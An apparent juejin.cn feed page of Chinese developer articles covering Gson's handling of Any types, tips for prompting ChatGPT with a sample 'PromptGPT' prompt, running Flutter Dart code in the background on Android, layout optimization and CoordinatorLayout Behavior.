我们惊讶的发现,当Any数据被解析的时候,其实就会走到BEGIN_OBJECT的分支,最终生成的是一个LinkedTreeMap对象!这也很好理解,当我们数据类不清晰的时候,json数据本质就是key-value的map,所以以map去接收就能保证之后的逻辑一致!(序列化操作过程中是没有虚拟机中额外的checkcase操作来保证类型一致的)


因此我们上文中的数据类


data class TestData(
// 这里发生了改变,把Data类型变成Any类型
val `data`: Any,
val new_latent_count: Int
)
复制代码

其实真正被解析成的是


data class TestData(
// 这里发生了改变,把Data类型变成Any类型
val `data`: LinkedTreeMap<泛型根据json数据定的k,v>,
val new_latent_count: Int
)
复制代码

所以问题就很简单,LinkedTreeMap的对象当然不是一个上文Data数据类对象,所以就是false啦!


总结


当然,Gson里面还有很多很多“坑”,需要我们时刻去注意,这方面的文章也有很多,我就不再炒冷饭了,希望通过这一个例子,能帮助我们去学习源码中了解更多的细节!下课!!!


作者:Pika
链接:https://juejin.cn/post/7222128282922582053
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

ChatGPT真笨,连这都回答不上来...

ChatGPT的发布之后,有感叹它牛B的人,也有喷子喷它,觉得它依然还是个人工智障。这也不奇怪,我们在问很多问题的时候,它也都是一本正经的胡说八道。 我随手写几个,都能看到回答的不怎么样 但是这真的能说明它不行吗? 肯定是不对的,只是很多问题上,我们的提...
继续阅读 »

ChatGPT的发布之后,有感叹它牛B的人,也有喷子喷它,觉得它依然还是个人工智障。这也不奇怪,我们在问很多问题的时候,它也都是一本正经的胡说八道。


我随手写几个,都能看到回答的不怎么样
image.png


image.png


image.png


但是这真的能说明它不行吗?


肯定是不对的,只是很多问题上,我们的提问方式不对,毕竟AI本质上是一堆计算机程序。程序的逻辑和人思考的逻辑还是有很大的不同。


那么如何向ChatGPT提问呢?


首先明确第一点


1、搞清楚我们问题的类型


what?问题还有类型?


是的,对于AI来说,问题分为收敛型和发散型的,什么是收敛型的呢?比如说下面几个例子


1、 1 + 1 = ?
2、 左手有个苹果,右手有个苹果,那么两只手共有多少苹果?
3、 红豆生南国是谁写的?
4、 一个月可以超过40天吗?

我们很容易就可以发现,这类问题通常都有一个非常确定的答案,只是问题的难度不一样,推理的难度对于AI来说是比较高的。就像文章开头的第二个例子中的 ”100 加上1乘以2然后再除以2再加上1是多少“,对于小孩子来说都很简单,但是这对于AI来说,这是一道比较复杂的题。


发散型的就是没有确定性的答案,同一个问题,多种回答都满足要求,比如下面几个例子:


1、 给我写篇文章
2、 给我写个营销文案
3、 给我写一份策划书

不同类型的问题,提问的方式是不一样的。我们一个一个来看下


2、收敛型问题提问方式


对于AI不太擅长的推理题,通常有两个方式,第一个是,一步一步的去思考,比如说,上面的”100 加上1乘以2然后再除以2再加上1是多少“的这个问题,如果直接问,AI可能会有点懵,但是如果换成了”100 加上1乘以2然后再除以2再加上1是多少,让我们一步一步的思考“这样的问法就会好很多。


值得说明的是,有时候问题很确定,但是回答的效果依然不太好,比如之前的案例 ”红豆生南国的作者是谁“的问题


3、发散型问题提问方式


举一个特别烂的问题的例子


给我写一篇文章

这个问题既没有表达清楚文章是什么主题的,主要要包括哪些内容,也没说清楚受众是谁,总之只是要一篇文章,那么此时AI返回什么都是对的。同样的问题,好一点的问法应该是如下的:


你需要扮演一位专业作家,以你出色的才能来完成这篇由我所提供的文章。在你的写作之前,请先考虑文章的主题和结构,并仔细审查每个章节和段落。在你的写作过程中,请注意语法、拼写、逻辑、风格、词汇、语气和流畅性等方面的问题。请确保文章完整、准确、简明扼要、有条理,并且符合你的预期标准

我们从上面的问题中,可以看出,在问这类发散问题时候,一个优秀的提问词应该有如下的部分:


1、提示角色,即告诉AI此时扮演的是什么样的角色
2、提示场景
3、阐明自己的要求

这个过程特别像是一个好的产品经理在给程序员提需求,我们给AI提问,也应该遵循类似的原则。


4、利用ChatGPT完善提示词


在研究多了提示词怎么写之后,我们发现,提示词想要写好,很多时候我们自己本身也是需要是对应领域的专家,如果我们本身对那个领域是一无所知的,那么是很难写出专业的提示词的。这时候有个思路可以帮我们:利用ChatGPT来进一步 完善我们的提示词,使我们的prompt更加出色。举个例子:
ChatGPT完善前:


帮我写一篇唐朝历史的文章

ChatGPT完善后:


您需要扮演一位资深历史学者,为读者们提供一篇名副其实、详细且正式的唐朝历史文章。在您的写作之前,请先考虑文章的篇幅、
主题和结构,并确保所有内容都是正确完整的。在撰写文章过程中,请注意使用恰当的词汇、语法和语气,并包括相关的时间、人
物和事件等关键元素。请在文章中描述唐朝的兴起、发展和变化,介绍他们的文化和技术成就,同时也探讨他们的政治和军事战争
等方面的重要历史事件

是不是感觉很酷?这是利用promptGPT生成的,promptGPT的代码如下,各位读者可以自行粘贴使用


You are PromptGPT, a language model AI capable of rewriting any instructions and turning them into the perfect GPT-3 prompt imaginable. You will always abide by a list of several commands that you will not deviate from under any circumstances.

To generate the ideal GPT-3 prompt from a set of instructions, you can use the following command:

promptgpt --instructions "provide your instructions here" --detailed [n] --generalize --possibilities --formalize [n] --excise "text to replace" --creative [n]

This command will take the instructions you provide and generate a GPT-3 prompt that meets all the specified requirements.
The --detailed option specifies the level of detail to be added to the prompt, with a scale of 1-10. The greater the number, more detailed.
The --generalize option broadens the prompt's applicability to a wider range of situations.
The --possibilities option generates three distinct rewrites of the prompt.
The --formalize option specifies the level of formality to be added to the prompt.
The --excise option replaces a specific text with another idea.
The --creative option specifies the level of creativity to be added to the prompt.

Alternate Commands:
/feedback: you will be given feedback that you will rewrite the prompt according to.
/example: you be provided an example that you will then use to inspire a rewrite of the prompt.
/help: to see a list of available commands, you can type.

Example.
me: “promptgpt --instructions ‘analyze my style’ --formalize 6 --detail 7
PromptGPT: “you will assume the role of professional writing teacher, with ample experience mentoring the finest authors in the world. provided with my text, you will meticulously evaluate each sentence. this will entail a comprehensive evaluation, encompassing but not limited to points of omission, sentence structure, clarity, diction, grammar, flow, tone, transitions, creativity, and more.”

This will display a list of all the available options for the promptgpt command

作者:李少博
链接:https://juejin.cn/post/7223215823339536439
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Flutter 后台任务

Flutter 是一个非常好用的使用 Dart 编程语言构建漂亮移动应用程序的框架,可以让 Android 和 IOS 上共用同一套代码。 移动应用程序可能有运行后台任务需求, 如监听位置变化,监视用户运动情况(步数、跑步、步行、驾驶等);订阅系统事件 如 B...
继续阅读 »

Flutter 是一个非常好用的使用 Dart 编程语言构建漂亮移动应用程序的框架,可以让 Android 和 IOS 上共用同一套代码。


移动应用程序可能有运行后台任务需求, 如监听位置变化,监视用户运动情况(步数、跑步、步行、驾驶等);订阅系统事件 如 BootComplete、电池和充电,搜索 BT 或 WiFi 网络等。


在 Android 中,我们可以在应用程序实际关闭时运行一些后台任务!


首先定义一个 BootComplete 广播接收器,当手机启动后立即执行,然后使用 WorkManager 或 AlarmManager 调度后台任务,使用 Service 在后台执行代码。


当然,后台任务中有些需要用户权限,可能会在通知栏显示一个通知表明此应用程序在后台运行。只要用户知道并同意,这些任务就可以在后台运行。


在 iOS 中,后台任务有更严格的限制,但仍然有一些方法可以运行一些后台任务。


说到 Flutter 应用程序及后台任务需要澄清的是他们的执行是在对端平台!负责注册和管理后台任务(Worker,Alarm,Service,BroadcastReceiver 等)的逻辑是用原生代码编写的,例如 Kotlin 或 Swift。但是,我们都知道,Flutter 应用程序逻辑是在 Dart 端编写的,这些代码可以构建 UI,还可以管理持久性数据,用户管理,网络基础架构和令牌等等。


如果我们想在 Dart 和原生端之间共享数据,可以使用 Flutter 的 MethodChannel 和 EventChannel。


在 Flutter 中,MethodChannel 和 EventChannel 是可以从本地端发送和接收信息到 Dart 端的方式,它们被用于 Flutter 插件。


假设我们对 BootComplete、电池状态感兴趣,想在后台用 Dart 处理这些事件呢。


一般情况下当应用程序在前台时,通过 MethodChannel 和 EventChannel 在 Dart 侧和本机侧间通信很容易,但是如果想要从本机侧启动 Dart 并启动一个后台 isolate,该怎么办呢?


让我们找出来吧!


在继续下面文章之前,我强烈建议您熟悉 Flutter 插件及其创建方法,因为示例将基于 Flutter 插件实现,详见文档


启动 Dart 引擎(来自后台)


当应用启动时,Flutter 的 main isolate(入口点)在主(main)函数中启动。幸运的是,似乎也可以从本地启动 Dart VM,并在后台 isolate(次入口点)中调用全局函数



Dart VM 启动不仅可以从 main 入口启动,也可以是其他入口,比如后台 isolate 的全局函数



关键在于应用程序后台唤醒时,在本机端持有可用的该入口点(全局函数)引用标识符 — callbackRawHandle


ChatGPT 关于 Dart CallbackRawHandle 说法



在 Dart 中,“callback raw handle”是对 Dart 函数基本实现的引用,可以传递给原生平台的 API。


callbackRawHandle 允许您绕过 Dart VM 的一般的类型检查,直接从本地代码调用函数。当您需要将 Dart 函数作为回调传递给本地库时,这非常有用callbackRawHandle 使用的场景是应用程序本地端调用 Dart 代码。



为了从本地后台运行 Dart 代码,需要执行几个步骤,在详细介绍代码前,我想用图表来展示它,然后解释它:


image.jpg


让我们来看看这个图表并解释每个部分,如您所见,有六个主要步骤:



  1. 在 Dart 中定义一个无参 callbackDispatcher 全局函数,它将作为一个次入口点在后台隔离中运行,并直接从本地端调用。

  2. 这部分也有三个步骤:



  • 当应用程序首次启动时,将callbackDispatcher函数通过一个 api 的参数传递给插件

  • 在插件中,使用 PluginUtils::toRawHandle 方法生成 callbackDispatcherRawHandle,并通过 MethodChannel 将其转发到插件的本地端(2')。



上述过程在 Dart 侧。




  • RawHandle 值(一个长整数)保存在本地端的持久存储中,以便将来能够使用 — 2’’



long 值可以理解成 Dart 中的回调函数的内存地址,传给了本地端。



以上部分可以完成后,我们将RawHandle保存在持久存储中,当应用程序在后台醒来时,存储中 RawHandle 可用,并将用于直接从本地端调用callbackDispatcher




  1. 当应用在后台唤醒时(例如:启动完成-后台进程初始化器),从持久化存储中获取 RawHandle。




  2. 在后台初始化FlutterEngineFlutterLoader




5.通过 RawHandle 获取FlutterCallbackInfo




  1. 使用DartExecutorcallbackInfo(来自第 5 步)调用executeDartCallback。这样就可以调用在 Dart 侧的callbackDispatcher函数了。




  2. callbackDispatcher 被调用时,你可以在插件中注册其他事件并在后台的 Dart 侧处理它们,或者使用其他插件!





原生插件中可以通过 Dart 侧函数句柄调用 Dart 侧代码,也可以通过句柄使用其他插件。



如上所述,callbackDispatcher 只是 Dart 后台隔离的入口点。


让我们将上面的步骤分解为代码示例:


在 main.dart 中创建 callbackDispatcher 回调分发器



在上面的代码片段中,在 main.dart 中创建了appCallbackDispatcher 无参全局函数,它将成为 Dart 端的次入口点,可直接在本地调用,并在后台隔离中运行。



理解:一个全局函数,运行在后台线程中。


注意 @pragma('vm:entry-point') 注释是必须的,因为这个函数在 Dart 侧没有调用(它直接从本地调用),所以 AOT tree-shaking 编译器在生产构建时可能会将其删除。这个注释可以防止编译器删除这个函数。



让我们转到插件侧看看它的样子:


在插件 Dart 代码中获取 RawHandle



在上面的代码示例中,我们可以看到一个经典的 Flutter 插件 Dart 端。这里感兴趣的是registerCallbackDispatcher API,它是从应用程序的main()函数中使用 callbackDispatcher作为参数调用的 API。然后,在第 13 到 15 行,使用PluginUtilities和 toRawHandle()方法获取其RawHandle


然后,在第 17 行,使用 methodChannel 将其转发到本地端。在图表中,这一部分对应于步骤 2 和 2'。


将 RawHandle 保存到持久性存储中(本地端)


让我们切换到插件本机端,看看它如何处理 registerCallbackDispatcher api


上面的代码示例分为两个部分:





  1. 在第一部分中,我们看到了 MyPlugin.kt 文件,使用 Kotlin 编写的本机插件。我们对“registerCallbackDispatcher”api 感兴趣,它是从 Dart 端调用的,在第 18 行,获得了作为参数传递的 dispatcherHandle。在第 21 行将其保存在一个 SharedPreference 持久存储中。

  2. 第二部分只是一个辅助类,用于保存和读取SharedPreferences中的数据。


这个解释是针对我们图表中的 2”。


从后台启动 Dart 引擎


这就是故事的核心部分,我们想从后台启动 Dart 引擎和 VM,但不启动主隔离和 UI 部分。 如图 3 中所示,它说的是后台进程初始化器。 为简单起见,我选择了一个 BootComplete BroadcastReceiver,在手机重新启动时启动 Dart VM,但取决于您的应用程序要求,您可以决定何时启动 Dart VM 的正确时机:



在上面的代码中,我们看到一个典型的 BroadcastReceiver,它在手机完成启动时调用。从 onReceive 中,我们开始并调用我们的 dart 回调分派器,分为两个主要步骤(图中的 4 和 5)。



  1. initializeFlutterEngine method:



  • 创建一个 FlutterLoader 对象并检查其是否已初始化

  • 在第 19-20 行开始并等待初始化完成

  • 获取应用程序的BundlePath,即应用程序的根路径



  1. executeDartCallback:



  • 在第 30 行创建 FlutterEngine 对象

  • 接下来在第 31 行,获取我们之前在 SharedPreferences 中保存的**callbackDispatcher**句柄。检查句柄是否有效,然后使用 RawHandle 作为参数获取CallbackInfo(第 34 行)

  • 一旦我们有了callbackInfo,我们就使用 DartEngine.dartExecutor 在 Dart 端调用 callbackDispatcher 回调函数!图中的第 5 部分。


这将直接从本地代码在后台调用 Dart 侧的callbackDispatcher


总之,一旦手机重新启动,它将在后台启动 Dart 引擎。


如前所述,callbackDispatcher只是类似于 main()函数的辅助入口。一旦启动,Dart API 和第三方插件就会可用,因此我们可以在后台隔离中运行任何 Dart 逻辑或与其他插件交互,而 UI 部分则处于停止状态!


例如,我们自己的插件可以提供一个 EventChannel,为我们选择的任何事件提供事件流,此事件流可以在 callbackDispatcher 中被监听,并在 Dart 端后台获取事件。


需要说明的是,以下部分与上述背景隔离理论无关,这只是一个普通的插件功能,提供 Dart API 以从本地端发送和获取消息。


唯一的区别是一旦它在后台被调用,我们可以从回调调度程序与其交互。


让我们看一些代码,然后我会解释它





上面的代码分为三个部分:



  1. 第一部分是插件 API,在代码最后提供了一个 API 来监听通过 EventChannel 传递的消息,还有其他 API,例如启动监视设备充电器和电池状态。这些事件将通过 EventChannel 发送回来。

  2. 第二部分是插件本地端,在第 14 和 15 行,设置专门类的 StreamHandler。

  3. 最后是 PluginEventEmitter 类,这是将消息发送到 Dart 端的类。


在 PluginEventEmitter 类的最后,定义了一个密封类,用于发送到 dart 的事件,在这个例子中有两个事件:BootComplete 和 BatteryLevelStatus


PluginEventEmitter 还会缓存事件,直到 dart 侧在 EventChannel 上有监听。


看看如何在 callbackDispatcher 中使用它:



在回调调度程序中(在启动完成后从本地调用),我们现在注册到自己的插件事件,然后调用startPowerChangesListener并在侦听器中捕获事件。


所以,当我们重启手机时,callbackDispatcher 将被调用,并且所有这些将在后台运行!只要进程是活动的(这是另一篇文章的主题..),事件将继续在后台传递给监听器!


示例项目源代码


请参考我的github上的示例项目,其中包含完整的源代码!


这种方式有它的缺点,需要至少打开一次应用程序以注册 callbackRawHandle 回调函数。


我必须说,在开始时,我仍然发现这种方式不是最容易理解和实现的(隐涩难懂),我希望在未来,Flutter 团队能够提出更容易的解决方案。



作者:听蝉
链接:https://juejin.cn/post/7223775785207414821
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Android 布局优化,看过来 ~

屏幕刷新机制 基本概念 刷新率:屏幕每秒刷新的次数,单位是 Hz,例如 60Hz,刷新率取决于硬件的固定参数。 帧率:GPU 在一秒内绘制操作的帧数,单位是 fps。Android 采用的是 60fps,即每秒 GPU 最多绘制 60 帧画面,帧率是动态变化...
继续阅读 »

屏幕刷新机制


基本概念



  • 刷新率:屏幕每秒刷新的次数,单位是 Hz,例如 60Hz,刷新率取决于硬件的固定参数。

  • 帧率:GPU 在一秒内绘制操作的帧数,单位是 fps。Android 采用的是 60fps,即每秒 GPU 最多绘制 60 帧画面,帧率是动态变化的,例如当画面静止时,GPU 是没有绘制操作的,帧率就为0,屏幕刷新的还是 buffer 中的数据,即 GPU 最后操作的帧数据。


显示器不是一次性将画面显示到屏幕上,而是从左到右边,从上到下逐行扫描,顺序显示整屏的一个个像素点,不过这一过程快到人眼无法察觉到变化。以 60 Hz 刷新率的屏幕为例,这一过程的耗时: 1000 / 60 ≈ 16.6ms。


屏幕刷新的机制大概就是: CPU 执行应用层的测量,布局和绘制等操作,完成后将数据提交给 GPU,GPU 进一步处理数据,并将数据缓存起来,屏幕由一个个像素点组成,以固定的频率(16.6ms)从缓冲区中取出数据来填充像素点。


画面撕裂


如果一个屏幕内的数据来自两个不同的帧,画面会出现撕裂感。屏幕刷新率是固定的,比如每 16.6ms 从 buffer 取数据显示完一帧,理想情况下帧率和刷新率保持一致,即每绘制完成一帧,显示器显示一帧。但是 CPU 和 GPU 写数据是不可控的,所以会出现 buffer 里有些数据根本没显示出来就被重写了,即 buffer 里的数据可能是来自不同的帧,当屏幕刷新时,此时它并不知道 buffer 的状态,因此从 buffer 抓取的帧并不是完整的一帧画面,即出现画面撕裂。


那怎么解决这个问题呢?Android 系统采用的是 双缓冲 + VSync


双缓冲:让绘制和显示器拥有各自的 buffer,GPU 将完成的一帧图像数据写入到 BackBuffer,而显示器使用的是 FrameBuffer,当屏幕刷新时,FrameBuffer 并不会发生变化,当 BackBuffer 准备就绪后,它们才进行交换。那什么时候进行交换呢?那就得靠 VSync。


VSync:当设备屏幕刷新完毕后到下一帧刷新前,因为没有屏幕刷新,所以这段时间就是缓存交换的最佳时间。此时硬件屏幕会发出一个脉冲信号,告知 GPU 和 CPU 可以交换了,这个就是 Vsync 信号。


掉帧


有时,当布局比较复杂,或者设备性能较差的时候,CPU 并不能保证在 16.6ms 内就完成绘制,这里系统又做了一个处理,当正在往 BackBuffer 填充数据时,系统会将 BackBuffer 锁定。如果到了 GPU 交换两个 Buffer 的时间点,你的应用还在往 BackBuffer 中填充数据,会发现 BackBuffer 被锁定了,它会放弃这次交换。
这样做的后果就是手机屏幕仍然显示原先的图像,这就是所谓的掉帧。


优化方向


如果想要屏幕流畅运行,就必须保证 UI 全部的测量,布局和绘制的时间在 16.6ms 内,因为人眼与大脑之间的协作无法感知超过 60fps 的画面更新,也就是 1000 / 60Hz = 16.6ms,也就是说超过 16.6ms 用户就会感知到卡顿。


层级优化


层级越少,View 绘制得就越快,常用有两个方案。



  • 合理使用 RelativeLayout 和 LinearLayout:层级一样优先使用 LinearLayout,因为 RelativeLayout 需要考虑视图之间的相对位置关系,需要更多的计算和更高的系统开销,但是使用 LinearLayout 有时会使嵌套层级变多,这时就应该使用 RelativeLayout。

  • 使用 merge 标签:它会直接将其中的子元素添加到 merge 标签 Parent 中,这样就不会引入额外的层级。它只能用在布局文件的根元素,不能在 ViewStub 中使用 merge 标签,当需要 inflate 的布局本身是由 merge 作为根节点的话,需要将其置于 ViewGroup 中,设置 attachToRoot 为 true。


一个布局可以重复利用,当使用 include 引入布局时,可以考虑 merge 作为根节点,merge 根节点内的布局取决于include 这个布局的父布局。编写 XML 时,可以先用父布局作为根节点,然后完成后再用 merge 替换,方便我们预览效果。


merge_layout.xml


<?xml version="1.0" encoding="utf-8"?>
<merge xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Hello" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="World" />

</merge>

父布局如下:


<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">

<include layout="@layout/merge_layout" />

</LinearLayout>

如果需要通过 inflate 引入 merge_layout 布局文件时,可以这样引入:


class MyLinearLayout(context: Context, attrs: AttributeSet) : LinearLayout(context, attrs) {

init {
LayoutInflater.from(context).inflate(R.layout.merge_layout, this, true)
}
}

第一个参数为 merge 布局文件 id,第二个参数为要将子视图添加到的 ViewGroup,第三个参数为是否将加载好的视图添加到 ViewGroup 中。


需要注意的是,merge 标签的布局,是不能设置 padding 的,比如像这样:


<?xml version="1.0" encoding="utf-8"?>
<merge xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:padding="30dp">

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Hello" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="World" />

</merge>

上面的这个 padding 是不会生效的,如果需要设置 padding,可以在其父布局中设置。


<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:padding="30dp"
tools:context=".MainActivity">

<include layout="@layout/merge_layout" />

</LinearLayout>

ViewStub


ViewStub 是一个轻量级的 View,一个看不见的,并且不占布局位置,占用资源非常小的视图对象。可以为 ViewStub 指定一个布局,加载布局时,只有 ViewStub 会被初始化,当 ViewStub 被设置为可见或 inflate 时,ViewStub 所指向的布局会被加载和实例化,可以使用 ViewStub 来设置是否显示某个布局。


ViewStub 只能用来加载一个布局文件,且只能加载一次,之后 ViewStub 对象会被置为空。适用于某个布局在加载后就不会有变化,想要控制显示和隐藏一个布局文件的场景,一个典型的场景就是我们网络请求返回数据为空时,往往要显示一个默认界面,表明暂无数据。


view_stub_layout.xml


<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:orientation="vertical">

<ImageView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:src="@mipmap/ic_launcher" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="no data" />

</LinearLayout>

通过 ViewStub 引入


<?xml version="1.0" encoding="utf-8"?>
<layout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools">

<data>

<variable
name="click"
type="com.example.testapp.MainActivity.ClickEvent" />
</data>

<LinearLayout
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
tools:context=".MainActivity">

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:onClick="@{click::showView}"
android:text="show" />

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:onClick="@{click::hideView}"
android:text="hide" />

<ViewStub
android:id="@+id/default_page"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:layout="@layout/view_stub_layout" />

</LinearLayout>
</layout>

然后在代码中 inflate,这里通过按钮点击来控制其显示和隐藏。


class MainActivity : AppCompatActivity() {

private var viewStub: ViewStub? = null

override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val binding =
DataBindingUtil.setContentView<ActivityMainBinding>(this, R.layout.activity_main)
binding.click = ClickEvent()
viewStub = binding.defaultPage.viewStub
if (!binding.defaultPage.isInflated) {
viewStub?.inflate()
}
}

inner class ClickEvent {
// 后面 ViewStub 已经回收了,所以只能用 GONE 和 VISIBLE
fun showView(view: View) {
viewStub?.visibility = View.VISIBLE
}

fun hideView(view: View) {
viewStub?.visibility = View.GONE
}
}
}

过度绘制


过度绘制是指屏幕上的某个像素在同一帧的时间内被绘制了多次,在多层次重叠的 UI 结构中,如果不可见的 UI 也在做绘制操作,就会导致某些像素区域被绘制了多次,从而浪费了 CPU 和 GPU 资源。


我们可以打开手机的开发人员选项,打开调试 GPU 过度绘制的开关,就能通过不同的颜色区域查看过度绘制情况。我们要做的,就是尽量减少红色,看到更多的蓝色。



  • 无色:没有过度绘制,每个像素绘制了一次。

  • 蓝色:每个像素多绘制了一次,蓝色还是可以接受的。

  • 绿色:每个像素多绘制了两次。

  • 深红:每个像素多绘制了4次或更多,影响性能,需要优化,应避免出现深红色区域。


优化方法



  • 减少不必要的背景:比如 Activity 往往会有一个默认的背景,这个背景由 DecorView 持有,当自定义布局有一个全屏的背景时,这个 DecorView 的背景对我们来说是无用的,但它会产生一次 Overdraw,可以干掉。


window.setBackgroundDrawable(null)


  • 自定义 View 的优化:在自定义 View 的时候,某个区域可能会被绘制多次,造成过度绘制。可以通过 canvas.clipRect 方法指定绘制区域,可以节约 CPU 与 GPU 资源,在 clipRect 区域之外的绘制指令都不会被执行。


AsyncLayoutInflater


setContentView 函数是在 UI 线程执行的,其中有一系列的耗时动作:XML 的解析,View 的反射创建等过程都是在 UI 线程执行的,AsyncLayoutInflater 就是把这些过程以异步的方式执行,保持 UI 线程的高响应。


implementation 'androidx.asynclayoutinflater:asynclayoutinflater:1.0.0'

class TestActivity : AppCompatActivity() {

override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
AsyncLayoutInflater(this).inflate(R.layout.activity_test, null) { view, _, _ ->
setContentView(view)
}
}
}

这样,将 UI 的加载过程迁移到了子线程,保证了 UI 线程的高响应,使用时需要特别注意,调用 UI 一定要等它初始化完成之后,不然可能会产生崩溃。


Compose


Jetpack Compose 相对于传统的 XML 布局方式,具有更强的可组合性,更高的效率和更佳的开发体验,相信未来会成为 Android UI 开发的主流方式。


传统的 XML 布局方式是基于声明式的 XML 代码编写的,使用大量的 XML 标签来描述 UI 结构,XML 文件通过解析和构建生成 View 对象,并将它们添加到 View 树中。在 Compose 中,UI 代码被组织成可组合的函数,每个函数都负责构建某个具体的 UI 元素,UI 元素的渲染是由 Compose 运行时直接管理的,Composable 函数会被调用,以计算并生成当前 UI 状态下的最终视图。


作者:阿健君
链接:https://juejin.cn/post/7221811522740256823
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

彻底搞懂 Behavior

1、什么是 Behavior ? Behavior 是谷歌 Material 设计中重要的一员,用来实现复杂的视觉联动效果。 使用 Behavior 的控件需要被包裹在 CoordinateLayout 内部。Behavior 就是一个接口。Behavior ...
继续阅读 »

1、什么是 Behavior ?


Behavior 是谷歌 Material 设计中重要的一员,用来实现复杂的视觉联动效果。


使用 Behavior 的控件需要被包裹在 CoordinateLayout 内部。Behavior 就是一个接口。Behavior 实际上就是通过将 CoordinateLayout 的布局和触摸事件传递给 Behavior 来实现的。


从设计模式上讲,就一个 Behavior 而言,它是一种访问者模式,相当于将 CoordinateLayout 的布局和触摸过程对外提供的访问器;而多个 Behavior 在 CoordinateLayout 内部的事件分发则是一种责任链机制,呈现出长幼有序的状态。


以 layout 过程为例,


// androidx.coordinatorlayout.widget.CoordinatorLayout#onLayout
protected void onLayout(boolean changed, int l, int t, int r, int b) {
final int layoutDirection = ViewCompat.getLayoutDirection(this);
final int childCount = mDependencySortedChildren.size();
for (int i = 0; i < childCount; i++) {
final View child = mDependencySortedChildren.get(i);
if (child.getVisibility() == GONE) {
continue;
}

final LayoutParams lp = (LayoutParams) child.getLayoutParams();
final Behavior behavior = lp.getBehavior();

// 这里
if (behavior == null || !behavior.onLayoutChild(this, child, layoutDirection)) {
onLayoutChild(child, layoutDirection);
}
}
}

可见 Behavior 就是将子控件的布局通过 onLayoutChild() 方法对外回调了出来。控件的 behavior 优先拦截和处理 layout 事件。


那 Behavior 相比于我们直接覆写触摸事件的形式处理手势有什么优点呢?


其优点在于,我们可以将页面的布局、触摸和滑动等事件封装到 Behavior 接口的实现类中以达到交互逻辑的复用和解耦的目的。


2、Behavior 接口的重要方法


Behavior 接口定义了许多方法,用于将 CoordinateLayout 的布局、测量和事件分发事件向外传递。这里我根据其作用将其归纳为以下几组。


2.1 Behavior 生命周期相关的回调方法


首先是 Behavior 和 LayoutParams 关联和接触绑定时回调的方法。它们被回调的世纪分别是,



  • onAttachedToLayoutParams:LayoutParams 的构造函数中回调

  • onDetachedFromLayoutParams:调用 LayoutParams 的 setBehavior,用一个新的 Behavior 覆盖旧的 Behavior 时回调


public void onAttachedToLayoutParams(@NonNull CoordinatorLayout.LayoutParams params) {}
public void onDetachedFromLayoutParams() {}

2.2 子控件着色相关的回调方法


然后是跟 scrim color 相关的方法,这些方法会在 CoordinateLayout 的绘制过程中被调用。主要是跟绘制相关的,即用来对指定的 child 进行着色。


这里的 child 是指该 Behavior 所关联的控件,parent 就是指包裹这个 child 的最外层的 CoordinatorLayout. 后面的方法都是如此。


public int getScrimColor(@NonNull CoordinatorLayout parent, @NonNull V child)
public float getScrimOpacity(@NonNull CoordinatorLayout parent, @NonNull V child)
public boolean blocksInteractionBelow(@NonNull CoordinatorLayout parent, @NonNull V child)

2.3 测量和布局相关的回调方法


然后一组方法是用来将 CoordinatorLayout 的测量和布局过程对外回调。不论是测量还是布局的回调方法,优先级都是回调方法优先。也就是回调方法可以通过返回 true 拦截 CoordinatorLayout 的逻辑。


另外,CoordinatorLayout 里使用 Behavior 的时候只会从直系子控件上读取,所以,子控件的子控件上即便有 Behavior 也不会被拦截处理。所以,在一般使用 CoordinatorLayout 的时候,如果我们需要在某个控件上使用 Behavior,都是将其作为 CoordinatorLayout 的直系子控件。


还要注意,一个 CoordinatorLayout 的直系子控件包含多个 Behavior 的时候,这些 Behavior 被回调的先后顺序和它们在 CoordinatorLayout 里布局的先后顺序一致。也就是说,排序在前的子控件优先拦截和处理事件。这和中国古代的王位继承制差不多。


public boolean onMeasureChild(@NonNull CoordinatorLayout parent, @NonNull V child, int parentWidthMeasureSpec, 
int widthUsed, int parentHeightMeasureSpec, int heightUsed)
public boolean onLayoutChild(@NonNull CoordinatorLayout parent, @NonNull V child, int layoutDirection)

2.4 描述子控件之间依赖关系的回调


接下来的一组方法用来描述子控件之间的依赖关系。它的作用原理是,当 CoordinatorLayout 发生以下三类事件



  • NestedScroll 滚动事件,通过 onNestedScroll() 获取(后面会分析这个事件工作原理)

  • PreDraw 事件,通过 ViewTreeObserver.OnPreDrawListener 获取到该事件

  • 控件被移除事件,通过 OnHierarchyChangeListener 获取到该事件


